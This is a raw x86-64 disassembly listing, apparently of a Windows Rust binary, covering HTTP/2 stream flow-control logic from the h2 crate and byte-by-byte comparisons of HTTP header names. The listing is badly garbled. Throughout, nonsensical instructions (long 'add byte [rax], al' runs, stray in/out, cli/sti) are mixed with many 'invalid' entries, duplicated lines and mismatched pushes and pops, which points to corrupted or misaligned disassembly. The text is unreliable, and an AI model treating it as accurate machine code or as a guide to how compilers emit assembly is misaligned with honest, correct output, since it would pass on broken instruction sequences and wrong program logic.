mov r13d, dword [rdx + 8]
mov ebp, dword [rdx + 8]
mov r12d, dword [rdx + 0xc]
mov dword [rsp + 0x28], r13d
lea r11, [rsp + 0x2c]
mov dword [rsp + 0x2c], r12d
mov r10, qword [r14 + 0x1d8]
cmp r10, r13
jbe 0x14002def1
mov rcx, qword [r14 + 0x1d0]
imul rbx, r13, 0x130
cmp dword [rcx + rbx], 2
je 0x14002def1
add rcx, rbx
cmp dword [rcx + 0x114], r12d
jne 0x14002def1
mov r15d, dword [rcx + 0x11c]
mov bpl, 4
cmp r15d, edi
jb 0x14002de94
rol byte [rdx], 1
add byte [rax], al
sub dword [r14 + 0x108], edi
mov ecx, dword [r14 + 0xc4]
mov edx, ecx
add edx, edi
jo 0x14002dbe1
mov dword [r14 + 0xc4], edx
mov ecx, edx
mov edx, dword [r14 + 0xc0]
sub ecx, edx
jle 0x14002dc39
add byte [rcx], ch
sar dword [rsi + 0x4d], 1
mov r8d, edx
shr r8d, 0x1f
add r8d, edx
sar r8d, 1
cmp ecx, r8d
jl 0x14002dc39
mov rdx, qword [r14 + 0x1b8]
mov rcx, qword [r14 + 0x1c0]
mov qword [r14 + 0x1b8], 0
test rdx, rdx
je 0x14002dc39
mov qword [rsp + 0x70], r9
mov ebp, eax
call qword [rdx + 8]
lea r11, [rsp + 0x2c]
mov eax, ebp
mov r9, qword [rsp + 0x70]
mov r10, qword [r14 + 0x1d8]
mov dword [rsp + 0x28], r13d
insb byte [rdi], dx
and al, 0x28
mov dword [rsp + 0x2c], r12d
cmp r10, r13
jbe 0x14002df44
mov rcx, qword [r14 + 0x1d0]
cmp dword [rcx + rbx], 2
je 0x14002df44
add rcx, rbx
cmp dword [rcx + 0x114], r12d
jne 0x14002df44
sub dword [rcx + 0x11c], edi
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x2c], r12d
mov r8, qword [r14 + 0x1d8]
cmp r8, r13
jbe 0x14002df44
mov rcx, qword [r14 + 0x1d0]
cmp dword [rcx + rbx], 2
je 0x14002df44
add rcx, rbx
cmp dword [rcx + 0x114], r12d
add byte [rdi], cl
invalid
xchg esi, eax
add al, byte [rax]
invalid
add byte [rdi], cl
test dword [rsi - 0x74fffffe], edx
xchg ecx, eax
movsb byte [rdi], byte [rsi]
add byte [rax], al
mov edx, dword [rcx + 0xa4]
add edx, edi
add byte [rcx], al
cli
jo 0x14002dcc5
mov dword [rcx + 0xa4], edx
mov r8, qword [r14 + 0x1d8]
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x2c], r12d
cmp r8, r13
jbe 0x14002def1
mov r10, qword [r14 + 0x1d0]
cmp dword [r10 + rbx], 2
je 0x14002def1
add r10, rbx
cmp dword [r10 + 0x114], r12d
jne 0x14002def1
mov edx, dword [r10 + 0xa0]
mov ecx, dword [r10 + 0xa4]
mov bpl, 0xc
sub ecx, edx
jle 0x14002de94
mov r8d, edx
shr r8d, 0x1f
add r8d, edx
sar r8d, 1
cmp ecx, r8d
jl 0x14002de94
cmp byte [r10 + 0x127], 0
jne 0x14002de67
mov byte [r10 + 0x127], 1
cmp dword [r14 + 0xc8], 0
je 0x14002de3d
mov edx, dword [r14 + 0xd4]
mov r8d, dword [r14 + 0xd8]
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x2c], r8d
cmp qword [r14 + 0x1d8], rdx
jbe 0x14002df44
mov rcx, qword [r14 + 0x1d0]
imul rdx, rdx, 0x130
cmp dword [rcx + rdx], 2
je 0x14002df44
add byte [rax], al
add rcx, rdx
cmp dword [rcx + 0x114], r8d
jne 0x14002df44
lea rdx, [r14 + 0xd8]
xchg esi, eax
fadd dword [rax]
add byte [rax], al
add byte [rax], al
add bh, al
sub eax, 0x1000000
add byte [rax], al
add byte [rcx + rcx*4 - 0x57], al
in al, dx
add byte [rax], al
add byte [rcx + rcx*4 - 0x5f], al
lock add byte [rax], al
add byte [rbp - 0x77], al
scasb al, byte [rdi]
invalid
mov dword [rcx + 0xe8], 1
mov dword [rcx + 0xec], r13d
mov dword [rcx + 0xf0], r12d
mov dword [r14 + 0xd4], r13d
jmp 0x14002de64
mov rcx, r9
mov rbx, rdx
mov r15, r9
call fcn.140110530
mov r9, r15
mov rdx, rbx
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x14002db53
mov rbx, rdx
mov r15, r9
call fcn.1401105f0
mov r9, r15
mov rdx, rbx
xor al, 1
movzx ecx, byte [r14 + 0x11]
test cl, cl
je 0x14002db62
mov qword [rsp + 0x40], r9
mov byte [rsp + 0x48], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140116720]
lea r8, [rsp + 0x40]
mov edx, 0x2b
sub eax, dword [rax]
add byte [rax], al
invalid
sub eax, dword [rax]
add byte [rax], al
invalid
add al, ch
movabs dword [0xc886c741000daa], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
call fcn.1401088e0
mov dword [r14 + 0xc8], 1
mov dword [r14 + 0xcc], r13d
mov dword [r14 + 0xd0], r12d
mov dword [r14 + 0xd4], r13d
add byte [rax], al
invalid
add byte [rax], al
lea rdx, [r14 + 0xd8]
mov dword [rdx], r12d
mov rdx, qword [r14 + 0x1b8]
mov rcx, qword [r14 + 0x1c0]
rol byte [rcx], 0
add byte [rcx - 0x39], cl
xchg byte [rax + 1], bh
add byte [rax], al
add byte [rax - 0x7b], cl
invalid
je 0x14002de94
mov rbx, r9
mov r12d, eax
call qword [rdx + 8]
mov eax, r12d
mov r9, rbx
test al, al
jne 0x14002dea7
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
invalid
jne 0x14002dedb
sal byte [rbp + 0x34], 0x31
rol byte [rcx - 0x7a], 1
xor eax, eax
xchg byte [r9], al
cmp al, 2
jne 0x14002deb9
mov rcx, r9
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp r15d, edi
jae 0x14002dec7
mov byte [rsi], 3
mov byte [rsi + 1], bpl
jmp 0x14002deca
mov byte [rsi], 5
add rsp, 0x78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
ret
mov rbx, r9
call fcn.1401105f0
mov r9, rbx
test al, al
jne 0x14002dea7
mov byte [r14 + 0x11], 1
jmp 0x14002dea7
mov qword [rsp + 0x30], r11
lea rax, [0x14001b1f0]
mov qword [rsp + 0x38], rax
lea rax, str.dangling_store_key_for_stream_id
add eax, 0xfb69f
add eax, 0xfb69f
str word [rax - 0x77]
and al, 0x40
invalid
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
and al, 0x50
and al, 0x50
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140108560
mov qword [rsp + 0x30], r11
lea rax, [0x14001b1f0]
dec dword [rax - 0x77]
and al, 0x38
dec dword [rax - 0x77]
and al, 0x38
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 1
mov qword [rsp + 0x60], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x58], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x40]
call fcn.140108560
int3
in al, dx
push rax
lea rbp, [rsp + 0x50]
lea rax, str.Hash_table_capacity_overflow
mov qword [rbp - 0x30], rax
ror byte [rax - 0x39], 1
fadd dword [r9]
fadd dword [rcx]
add byte [rax], al
add byte [rax - 0x39], cl
loopne 0x14002dfca
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
call 0x11d186d18
mov edi, 0x8d48000f
shr r8b, 1
invalid
movsd dword [rdi], dword [rsi]
invalid
add ah, cl
ror byte [rax - 0x39], 1
fadd dword [r9]
fadd dword [rcx]
fadd dword [rcx]
add byte [rax], al
add byte [rax - 0x39], cl
loopne 0x14002dfca
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
call 0x11d186d18
mov edi, 0x8d48000f
shr r8b, 1
test byte [rbp - 0x3333fff3], ah
int3
mov qword [rsp + 0x30], 1
mov dword [rsp + 0x30], 1
mov qword [rsp + 0x38], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhashbrown_0.14.3_src_rawmod.rs
lea rcx, [rsp + 0x28]
call fcn.140108560
int3
adc byte [rax], al
add byte [rax], al
call fcn.1401082c0
int3
xorps xmm0, xmm0
movaps xmmword [rsp + 0x20], xmm0
lea rcx, [rsp + 0x20]
and al, 0x20
and al, 0x20
mov edx, 0x10
call qword [sym.imp.bcryptprimitives.dll_ProcessPrng]
push rax
invalid
add byte [rdi], cl
sub byte [rsp + 0x20], al
and byte [rbx + 0x15428d05], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
and eax, 0x58
push rax
invalid
and byte [rbx + 0x15428d05], cl
lea eax, [rdx + 0x15]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
and eax, 0x58
and eax, 0x58
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
mov qword [rax + 0xa0], 1
movups xmmword [rax + 0xa8], xmm0
add byte [rax], al
add byte [rdi], cl
adc dword [rax + 0xa8], eax
add rsp, 0x38
add esp, 0x38
ret
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.MaxSizeReachedmax_size_reached
sbb byte [rax - 0x73], cl
adc eax, 0xfbffd
mov r8d, 0xe
jmp rax
int3
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x14012a0ce]
mov r8d, 0x10
jmp rax
push rsi
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x20
sub esp, 0x20
mov sil, 3
test r8, r8
je 0x14002e2d9
add byte [rax], al
cmp r8, 0x40
ja 0x14002e142
mov rax, qword [rsp + 0x70]
mov r10d, r8d
and r10d, 3
cmp r8, 4
add al, 0x73
invalid
add al, 0x73
invalid
xor ebx, ebx
jmp case.0x140028def.87
cmp r8, 0x10000
jae 0x14002e2d9
mov qword [rcx], rdx
mov qword [rcx + 8], r8
xor esi, esi
imul cl
jl 0x14002e15c
add byte [rax], al
imul cl
jl 0x14002e15c
add byte [rax], al
add byte [rbp - 0x77], al
ret
mov r11d, r8d
and r11d, 0x7c
xor edi, edi
nop word cs:[rax + rax]
movzx ebx, byte [rdx + rdi]
movzx ebx, byte [rax + rbx]
mov byte [r9 + rdi], bl
cmp cl, byte [rdi]
mov dh, 0x1c
sbb byte [rcx - 0x78], al
sbb al, 0x39
movzx ebx, byte [rdx + rdi + 1]
movzx ebx, byte [rax + rbx]
mov byte [r9 + rdi + 1], bl
movzx ebx, byte [rdx + rdi + 2]
movzx ebx, byte [rax + rbx]
mov byte [r9 + rdi + 2], bl
lea rbx, [rdi + 4]
movzx r14d, byte [rdx + rdi + 3]
movzx ebp, byte [rax + r14]
mov byte [r9 + rdi + 3], bpl
mov rdi, rbx
cmp r11, rbx
jne 0x14002e170
mov rdi, rcx
test r10, r10
invalid
je 0x14002e1e5
sal byte [rcx + rbp + 0x49], cl
lea ecx, [rcx + rbx]
lea rcx, [r9 + rbx]
add rdx, rbx
xor r11d, r11d
nop word cs:[rax + rax]
movzx ebx, byte [rdx + r11]
movzx ebx, byte [rax + rbx]
mov byte [rcx + r11], bl
sbb al, 0x19
sbb al, 0x19
inc r11
cmp r10, r11
jne case.0x14002e30e.80
mov rbx, r9
mov rcx, r9
mov r14, r8
mov esi, eax
invalid
mov rdx, r8
call fcn.14002e2f0
cmp al, 0x51
push rcx
push rcx
jne 0x14002e228
mov rax, r14
cmp r14, 0xf
mov rcx, rdi
ja 0x14002e235
xor r8d, r8d
mov rdx, rbx
ror byte [rax - 0x77], 0xda
nop dword [rax]
cmp byte [rdx + r8], 0
add al, byte [rax]
je 0x14002e2d9
inc r8
inc eax
ror byte [rcx + rdi - 0x40], 0x75
in eax, dx
cmp rax, r8
jne 0x14002e210
jmp 0x14002e2cf
cmpsd dword [rsi], dword [rdi]
add byte [rax], al
add byte [rax - 0x77], cl
stc
mov rcx, rdi
mov byte [rdi], al
mov sil, 2
add ch, cl
movsb byte [rdi], byte [rsi]
add byte [rax], al
invalid
add ch, cl
movsb byte [rdi], byte [rsi]
add byte [rax], al
add byte [rax - 0x77], cl
fimul dword [rbp + rcx*4 + 0x43]
lea r8, [rbx + 7]
mov rdx, rbx
lea r8, [rbx + 7]
and r8, 0xfffffffffffffff8
sub r8, rbx
sub eax, ebx
jne 0x14002e290
lea r9, [rax - 0x10]
xor r8d, r8d
movdqa xmm0, xmmword [0x140113770]
movabs r10, 0x8080808080808080
invalid
invalid
nop
nop
add byte [rax - 0xc6f9980], 0x42
movq mm1, qword [rdx + rax]
add byte [rax + 0x42f39066], 0xf
outsd dx, dword [rsi]
or al, 2
and byte [rsi - 0x70], 0xf3
movq mm1, qword [rdx + r8]
nop
movdqu xmm1, xmmword [rdx + r8]
movdqa xmm2, xmm1
paddq xmm2, xmm0
invalid
shl byte [rsi + 0xf], 1
invalid
retf 0xf66
jo 0x14002e247
out dx, al
por xmm2, xmm1
movq r11, xmm2
movd ebx, mm2
shl dword [rsi + 0xf], 1
invalid
invalid
movd ebx, mm2
test r11, r10
jne 0x14002e2b8
add r8, 0x10
cmp r8, r9
jbe 0x14002e260
jmp 0x14002e2b8
cmp r8, rax
cmp eax, eax
cmovae r8, rax
xor r9d, r9d
nop word [rax + rax]
cmp byte [rdx + r9], 0
je 0x14002e2d9
inc r9
cmp r8, r9
jne 0x14002e2a0
lea r9, [rax - 0x10]
lea ecx, [rax - 0x10]
cmp r8, r9
jbe 0x14002e24c
cmp r8, rax
je 0x14002e2cf
nop dword [rax]
cmp byte [rdx + r8], 0
add al, byte [rax]
je 0x14002e2d9
inc r8
cmp rax, r8
invalid
jne case.0x14002867a.147
sal byte [rbp - 0xf], 0x48
mov dword [rcx], edx
mov qword [rcx], rdx
mov qword [rcx + 8], rax
mov sil, 1
mov dh, 1
mov dh, 1
mov byte [rcx + 0x10], sil
add rsp, 0x20
invalid
invalid
invalid
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
add edx, 0xfffffffe
cmp rdx, 0x21
cmp edx, 0x21
cli
and dword [rdi], ecx
ja case.0x14002ec2e.103
xchg dword [rcx + 0x2a], ebx
add byte [rax], al
sub al, byte [rax]
add byte [rbp + rcx*4 + 5], cl
add dword [rsp + rdx + 0x14634900], ecx
mov word [rax + rax], ss
movsxd rdx, dword [r8 + rdx*4]
lea r8, [0x140176f08]
mov word [rax + rax], ss
movsxd rdx, dword [r8 + rdx*4]
add rdx, r8
jmp rdx
loop 0x14002e291
cmp byte [rcx], 0x74
jne case.0x14002ec2e.103
cmp dword [rdi + rcx - 0x7b], esi
sub al, byte [rax]
add byte [rax + 0x4165b243], dh
mov al, 0x43
mov dl, 0x65
mov r8d, 1
add dword [rax], eax
add byte [rax], al
mov al, 0x43
mov dl, 0x65
mov r8d, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rdx + 0x38], al
cmp byte [rcx + r8], dl
adc al, 1
movzx ecx, al
mov eax, 0x51
push rcx
add byte [rax], al
invalid
push rcx
add byte [rax], al
add byte [rdi], cl
cmove eax, ecx
jmp case.0x14002ec2e.103
cmp byte [rcx], 0x73
jne case.0x14002ec2e.103
cmove eax, ecx
jmp case.0x14002ec2e.103
cmp byte [rcx], 0x73
jne case.0x14002ec2e.103
cmp byte [rcx + 1], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x63
jne case.0x14002ec2e.103
add ah, byte [rbx + 0xf]
test dword [0xc002e37f], eax
jns 0x14002e35a
cmp byte [rcx + 3], 0x2d
jne case.0x14002ec2e.103
sub eax, 0x29fb850f
add byte [rax], al
sti
sub dword [rax], eax
add byte [rax + 0xf770479], al
jns 0x14002e365
ja 0x14002e372
cmp byte [rcx + 4], 0x77
jne case.0x14002ec2e.103
jns 0x14002e365
ja 0x14002e372
test ecx, esi
int1
sub dword [rax], eax
add byte [rax + 0xf650579], al
test edi, esp
sub dword [rax], eax
add byte [rax + 0xf620679], al
jns 0x14002e37b
invalid
invalid
test ebp, ebx
sub dword [rax], eax
invalid
cmp byte [rcx + 5], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 6], 0x62
jne case.0x14002ec2e.103
add byte [rax], al
jns 0x14002e37b
invalid
add byte [rax], al
add byte [rax + 0xf730779], al
test ebx, edx
sub dword [rax], eax
add byte [rax + 0xf6f0879], al
cmp byte [rcx + 7], 0x73
jne case.0x14002ec2e.103
cmp byte [rcx + 8], 0x6f
jne case.0x14002ec2e.103
test ecx, ecx
sub dword [rax], eax
invalid
test ecx, ecx
sub dword [rax], eax
add byte [rax + 0xf630979], al
jns 0x14002e39c
invalid
jne case.0x14002ec2e.103
invalid
jns 0x14002e3a7
cmp byte [rcx + 9], 0x63
jne case.0x14002ec2e.103
jns 0x14002e39c
invalid
cmp byte [rcx + 0xa], 0x6b
jne case.0x14002ec2e.103
invalid
or ch, byte [rbx + 0xf]
test dword [rbp - 0x7fffffd7], esi
invalid
invalid
jns 0x14002e3b2
imul ecx, dword [rdi], 0xffffff85
mov ch, 0x29
add byte [rax], al
invalid
add byte [rax + 0xf650b79], al
test dword [rbx - 0x7fffffd7], ebp
invalid
invalid
jns 0x14002e3bd
cmp byte [rcx + 0xb], 0x65
jne case.0x14002ec2e.103
invalid
jne case.0x14002ec2e.103
add byte [rax + 0xf740c79], al
cmp byte [rcx + 0xc], 0x74
je 0x14002e3c2
jne case.0x14002ec2e.103
test dword [rcx - 0x7fffffd7], esp
jns 0x14002e3c8
invalid
or eax, 0x97850f2d
sub eax, 0x2997850f
add byte [rax], al
test dword [rdi - 0x7fffffd7], edx
jns 0x14002e3d3
sub dword [rax], eax
add byte [rax + 0xf610e79], al
test dword [rbp - 0x7fffffd7], ecx
sub dword [rax], eax
invalid
invalid
jns 0x14002e3de
cmp byte [rcx + 0xe], 0x61
jne case.0x14002ec2e.103
sub dword [rax], eax
invalid
invalid
lea ebp, [rcx]
add byte [rax], al
sub dword [rax], eax
add byte [rax + 0xf630f79], al
test dword [rbx - 0x7fffffd7], eax
jns 0x14002e3e9
invalid
cmp byte [rcx + 0xf], 0x63
jne case.0x14002ec2e.103
invalid
sub dword [rax], eax
add byte [rax + 0xf631079], al
adc byte [rbx + 0xf], ah
cmp byte [rcx + 0x10], 0x63
jne case.0x14002ec2e.103
adc byte [rbx + 0xf], ah
invalid
test dword [rcx + 0x29], edi
add byte [rax], al
cmp byte [rcx + 0x11], 0x65
jne case.0x14002ec2e.103
test dword [rdi + 0x29], ebp
add byte [rax], al
test dword [rdi + 0x29], ebp
add byte [rax], al
add byte [rax + 0xf701279], al
cmp byte [rcx + 0x12], 0x70
jne case.0x14002ec2e.103
jns 0x14002e3ff
jo 0x14002e3fe
test dword [rbp + 0x29], esp
add byte [rax], al
mov al, 0x3b
mov dl, 0x74
mov r8d, 0x13
mov eax, 0x13
mov eax, 0x13
jmp 0x14002e323
and bh, bh
invalid
cmp byte [rcx], 0x63
jne case.0x14002ec2e.103
test dword [rbp + 0x29], ecx
add byte [rax], al
test dword [rbp + 0x29], ecx
add byte [rax], al
cmp byte [rcx + 1], 0x6f
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf6e0279], al
test dword [rcx], edi
cmp byte [rcx + 2], 0x6e
jne case.0x14002ec2e.103
sub dword [rax], eax
invalid
sub dword [rax], eax
add byte [rax + 0xf740379], al
je 0x14002e434
cmp byte [rcx + 3], 0x74
jne case.0x14002ec2e.103
test dword [rdi], ebp
sub dword [rax], eax
add byte [rax + 0xf650479], al
test dword [0xc002e45e], esp
jns 0x14002e43c
cmp byte [rcx + 4], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 5], 0x6e
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
test dword [rbx], ebx
sub dword [rax], eax
add byte [rax + 0xf740679], al
add byte [rax], al
cmp byte [rcx + 6], 0x74
jne case.0x14002ec2e.103
test dword [rcx], edx
sub dword [rax], eax
invalid
test dword [rcx], edx
sub dword [rax], eax
add byte [rax + 0xf2d0779], al
jns 0x14002e452
invalid
invalid
cmp byte [rcx + 7], 0x2d
jne case.0x14002ec2e.103
test dword [rdi], eax
sub dword [rax], eax
invalid
jns 0x14002e452
sub eax, 0x2907850f
add byte [rax], al
test dword [rdi], eax
sub dword [rax], eax
add byte [rax + 0xf730879], al
test ebp, edi
cmp byte [rcx + 8], 0x73
jne case.0x14002ec2e.103
std
sub byte [rax], al
add byte [rax + 0xf650979], al
test ebx, esi
sub byte [rax], al
add byte [rax + 0xf630a79], al
invalid
jne case.0x14002ec2e.103
cmp byte [rcx + 0xb], 0x75
jne case.0x14002ec2e.103
cmp byte [rcx + 0xc], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 0xd], 0x69
invalid
test ebx, ecx
sub byte [rax], al
cmp byte [rcx + 9], 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 0xa], 0x63
jne case.0x14002ec2e.103
invalid
cmp byte [rcx + 0xb], 0x75
jne case.0x14002ec2e.103
cmp byte [rcx + 0xc], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 0xd], 0x69
jne case.0x14002ec2e.103
invalid
jns 0x14002e494
imul ecx, dword [rdi], 0x28cb85
add byte [rax + 0xf740e79], al
test ecx, eax
sub byte [rax], al
cmp byte [rcx + 0xe], 0x74
jne case.0x14002ec2e.103
shr dword [rax], 0
add byte [rax + 0xf790f79], al
cmp byte [rcx + 0xf], 0x79
jne case.0x14002ec2e.103
invalid
mov bh, 0x28
add byte [rax], al
invalid
test dword [rdi - 0x7fffffd8], esi
jns case.0x14002a5ee.87
add byte [rax + 0xf2d1079], al
test dword [rbp - 0x7fffffd8], ebp
sub byte [rax], al
invalid
invalid
jns 0x14002e4c0
cmp byte [rcx + 0x10], 0x2d
jne case.0x14002ec2e.103
sub byte [rax], al
invalid
sub eax, 0x28ad850f
add byte [rax], al
cmp byte [rcx + 0x11], 0x70
jne case.0x14002ec2e.103
invalid
sub byte [rax], al
add byte [rax + 0xf701179], al
jo 0x14002e4c0
test dword [rbx - 0x7fffffd8], esp
jns 0x14002e4cb
add byte [rax + 0xf6f1279], al
test dword [rcx - 0x7fffffd8], ebx
invalid
invalid
cmp byte [rcx + 0x12], 0x6f
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
cmp byte [rcx + 0x13], 0x6c
jns 0x14002e4d6
insb byte [rdi], dx
jne case.0x14002ec2e.103
cmp byte [rcx + 0x14], 0x69
jne case.0x14002ec2e.103
invalid
test dword [rax], ebp
sub byte [rax], al
invalid
jns 0x14002e4e1
imul ecx, dword [rdi], 0x288585
test dword [rbp - 0x7fffffd8], eax
sub byte [rax], al
add byte [rax + 0xf631579], al
test dword [rbx + 0x28], edi
add byte [rax], al
cmp byte [rcx + 0x15], 0x63
jne case.0x14002ec2e.103
jns 0x14002e4ec
adc eax, 0x7b850f63
sub byte [rax], al
add byte [rax + 0x4179b21b], dh
invalid
mov al, 0x1b
mov dl, 0x79
mov r8d, 0x16
add byte [rax], al
jns 0x14002e524
mov eax, 0x16
add byte [rax], al
jmp 0x14002e323
dec dword [rdi]
mov dh, 0x11
movzx edx, byte [rcx]
add edx, 0xffffff9f
cmp edx, 0x17
ja case.0x14002ec2e.103
lea r8, [0x1401770b0]
movsxd rdx, dword [r8 + rdx*4]
adc al, 0x90
add rdx, r8
jmp rdx
invalid
loop case.0x14002bbcb.37
cmp byte [rcx + 1], 0x63
jns 0x14002e510
invalid
jne case.0x14002ec2e.103
cmp byte [rcx + 2], 0x63
jne case.0x14002ec2e.103
cmp byte [rcx + 3], 0x65
jne case.0x14002ec2e.103
invalid
sub byte [rax], al
add byte [rax + 0xf700479], al
add al, 0x70
jne case.0x14002ec2e.103
invalid
jns 0x14002e53c
je 0x14002e548
test dword [rbx], ebx
sub byte [rax], al
add byte [rax + 0xf2d0679], al
add byte [rax], al
cmp byte [rcx + 6], 0x2d
jne case.0x14002ec2e.103
test dword [rcx], edx
sub byte [rax], al
invalid
test dword [rcx], edx
sub byte [rax], al
add byte [rdi], cl
adc dword [rax], ebp
add byte [rax], al
movzx edx, byte [rcx + 7]
cmp edx, 0x6c
je 0x140030bf6
invalid
mov dh, 0x51
invalid
add byte [rbx - 0x7af09a06], al
sti
invalid
cmp edx, 0x65
jne case.0x14002ec2e.103
cmp byte [rcx + 8], 0x6e
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
invalid
cmp byte [rcx + 9], 0x63
jne case.0x14002ec2e.103
test edi, esp
invalid
add byte [rax], al
test edi, esp
invalid
cmp byte [rcx + 0xa], 0x6f
jne case.0x14002ec2e.103
cmp byte [rcx + 0xb], 0x64
jne case.0x14002ec2e.103
cmp byte [rcx + 0xc], 0x69
jne case.0x14002ec2e.103
imul ecx, dword [rdi], 0x27c985
add byte [rax + 0xf6e0d79], al
jns 0x14002e5a0
outsb dx, byte [rsi]
invalid
cmp byte [rcx + 0xd], 0x6e
jns 0x14002e5a0
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
test dword [rdi - 0x4fffffd9], edi
add dh, byte [rdx + 0xeb84167]
invalid
invalid
add byte [rax], al
mov al, 2
mov dl, 0x67
mov r8d, 0xe
mov eax, 0xe
mov eax, 0xe
invalid
add cl, ch
jmp 0x14002e323
jp 0x14002e5a4
invalid
cmp byte [rcx], 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 1], 0x63
jne case.0x14002ec2e.103
invalid
add byte [rax + 0xf630279], al
cmp byte [rcx + 2], 0x63
jne case.0x14002ec2e.103
invalid
xchg ebx, eax
invalid
add byte [rax], al
test dword [rbx - 0x7fffffd9], edx
jns 0x14002e5cc
invalid
cmp byte [rcx + 3], 0x65
jne case.0x14002ec2e.103
jne case.0x14002ec2e.103
mov dword [rdi], esp
add byte [rax], al
cmp byte [rcx + 4], 0x73
jne case.0x14002ec2e.103
test dword [rdi + 0x27], edi
add byte [rax], al
test dword [rdi + 0x27], edi
add byte [rax], al
invalid
cmp byte [rcx + 5], 0x73
jne case.0x14002ec2e.103
cmp byte [rcx + 6], 0x2d
jne case.0x14002ec2e.103
invalid
jns 0x14002e603
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
cmp byte [rcx + 9], 0x6e
jns 0x14002e60e
outsb dx, byte [rsi]
jne case.0x14002ec2e.103
invalid
cmp byte [rcx + 0xa], 0x74
jne case.0x14002ec2e.103
or dh, byte [rdi + rcx - 0x7b]
invalid
cmp byte [rcx + 0xb], 0x72
jne case.0x14002ec2e.103
cmp byte [rcx + 0xc], 0x6f
jne case.0x14002ec2e.103
test dword [rdi], ebp
invalid
add byte [rax], al
test dword [rdi], ebp
invalid
cmp byte [rcx + 0xd], 0x6c
jne case.0x14002ec2e.103
cmp byte [rcx + 0xe], 0x2d
jne case.0x14002ec2e.103
add byte [rax], al
cmp byte [rcx + 0xf], 0x61
jne case.0x14002ec2e.103
jns 0x14002e650
invalid
cmp byte [rcx + 0x10], 0x6c
jne case.0x14002ec2e.103
add byte [rax], al
cmp byte [rcx + 0x11], 0x6c
jne case.0x14002ec2e.103
cmp byte [rcx + 0x12], 0x6f
outsd dx, dword [rsi]
jne case.0x14002ec2e.103
add byte [rax + 0xf771379], al
cmp byte [rcx + 0x13], 0x77
jne case.0x14002ec2e.103
test ecx, ebp
add byte es:[rax], al
ja 0x14002e67a
test ecx, ebp
add byte es:[rax], al
cmp byte [rcx + 0x14], 0x2d
jne case.0x14002ec2e.103
add byte es:[rax], al
add byte es:[rax], al
movzx edx, byte [rcx + 0x15]
cmp edx, 0x6d
je 0x140030d2c
add byte [rax], al
add byte [rax], al
cmp edx, 0x68
jne case.0x14002ec2e.103
cmp byte [rcx + 0x16], 0x65
jne case.0x14002ec2e.103
jne case.0x14002ec2e.103
cmp byte [rcx + 0x17], 0x61
jne case.0x14002ec2e.103
cmp byte [rcx + 0x18], 0x64
jne case.0x14002ec2e.103
cmp byte [rcx + 0x19], 0x65
jne case.0x14002ec2e.103
jns 0x14002e6ca
jne case.0x14002ec2e.103
cmp byte [rcx + 0x1a], 0x72
jne case.0x14002ec2e.103
mov al, 6
jmp 0x140030d4c
and dword [rsi], 0
add byte [rdi], cl
movzx edx, byte [rcx]
mov dh, 0x11
adc dword [rbx - 0x7bf08a06], eax
cmc
cmp edx, 0x75
je 0x14002f8ca
cli
jne case.0x14002a5ee.71
test ch, dh
adc dword [rax], eax
add byte [rbx - 0x7af08c06], al
jnp 0x14002e702
invalid
cmp edx, 0x73
jne case.0x14002ec2e.103
add byte es:[rax], al
add byte es:[rax], al
add byte [rax], al
cmp byte [rcx + 1], 0x74
jns 0x14002e6e2
je 0x14002e6f2
jne case.0x14002ec2e.103
test dword [rcx + 0x26], esi
add byte [rax], al
cmp byte [rcx + 2], 0x72
